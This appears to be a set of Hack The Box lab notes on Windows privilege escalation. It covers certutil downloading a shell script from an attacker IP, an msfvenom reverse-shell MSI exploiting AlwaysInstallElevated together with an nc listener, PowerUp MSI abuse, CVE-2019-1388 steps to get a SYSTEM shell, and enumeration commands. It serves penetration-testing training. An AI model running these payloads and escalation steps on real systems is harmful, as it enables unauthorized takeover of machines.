Miscellaneous Techniques

Living Off The Land Binaries and Scripts (LOLBAS)

LOLBAS

Certutil

Transfer Files

PS C:\htb> certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat

Encode File

C:\htb> certutil -encode file1 encodedfile

Input Length = 7
Output Length = 70
CertUtil: -encode command completed successfully

Decode File

C:\htb> certutil -decode encodedfile file2

Input Length = 70
Output Length = 7
CertUtil: -decode command completed successfully.

Rundll32

A binary such as rundll32.exe can be used to execute a DLL file. We could use this to obtain a reverse shell by executing a .DLL file that we either download onto the remote host or host ourselves on an SMB share.

Always Install Elevated

Citrix Breakout

PS C:\htb> reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer

HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

S C:\htb> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi

C:\htb> msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart

nc -nlvp 9443

PowerUp

PS C:\Users\pmorgan\Desktop> Import-Module .\PowerUp.ps1
PS C:\Users\pmorgan\Desktop> Write-UserAddMSI
	
Output Path
-----------
UserAdd.msi

CVE-2019-1388

Vulnerable Windows Server and Workstation versions.

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened
...

cve-2019-1388_kiwi_tests.txtGist

Right click on the hhupd.exe executable and select Run as administrator from the menu.

Click on Show information about the publisher's certificate to open the certificate dialog. Here we can see that the SpcSpAgencyInfo field is populated in the Details tab.

Click on the hyperlink and then click OK, and the certificate dialog will close, and a browser window will launch

The browser instance was launched as SYSTEM.

Right-click anywhere on the web page and choose View page source. Once the page source opens in another tab, right-click again and select Save as, and a Save As dialog box will open.

Type c:\windows\system32\cmd.exe in the file path and hit enter. If all goes to plan, we will have a cmd.exe instance running as SYSTEM.

Scheduled Tasks

C:\htb>  schtasks /query /fo LIST /v

PS C:\htb> Get-ScheduledTask | select TaskName,State
 
TaskName                                                State
--------                                                -----
.NET Framework NGEN v4.0.30319                          Ready
.NET Framework NGEN v4.0.30319 64                       Ready
.NET Framework NGEN v4.0.30319 64 Critical           Disabled
.NET Framework NGEN v4.0.30319 Critical              Disabled
AD RMS Rights Policy Template Management (Automated) Disabled
AD RMS Rights Policy Template Management (Manual)       Ready
PolicyConverter                                      Disabled
SmartScreenSpecific                                     Ready
VerifiedPublisherCertStoreCheck                      Disabled
Microsoft Compatibility Appraiser                       Ready
ProgramDataUpdater                                      Ready
StartupAppTask                                          Ready
appuriverifierdaily                                     Ready
appuriverifierinstall                                   Ready
CleanupTemporaryState                                   Ready
DsSvcCleanup                                            Ready
Pre-staged app cleanup                               Disabled

<SNIP>

Checking Permissions on C:\Scripts Directory

C:\htb> .\accesschk64.exe /accepteula -s -d C:\Scripts\
 
Accesschk v6.13 - Reports effective permissions for securable objects
Copyright ⌐ 2006-2020 Mark Russinovich
Sysinternals - www.sysinternals.com
 
C:\Scripts
  RW BUILTIN\Users
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators

User/Computer Description Field

PS C:\htb> Get-LocalUser
 
Name            Enabled Description
----            ------- -----------
Administrator   True    Built-in account for administering the computer/domain
DefaultAccount  False   A user account managed by the system.
Guest           False   Built-in account for guest access to the computer/domain
helpdesk        True
htb-student     True
htb-student_adm True
jordan          True
logger          True
sarah           True
sccm_svc        True
secsvc          True    Network scanner - do not change password
sql_dev         True

Computer Description Field

PS C:\htb> Get-WmiObject -Class Win32_OperatingSystem | select Description
 
Description
-----------
The most vulnerable box ever!

Mount VHDX/VMDK

.vhd, .vhdx, and .vmdk files

Mount VMDK on Linux

guestmount -a SQL01-disk1.vmdk -i --ro /mnt/vmdk

Mount VHD/VHDX on Linux

guestmount --add WEBSRV10.vhdx  --ro /mnt/vhdx/ -m /dev/sda1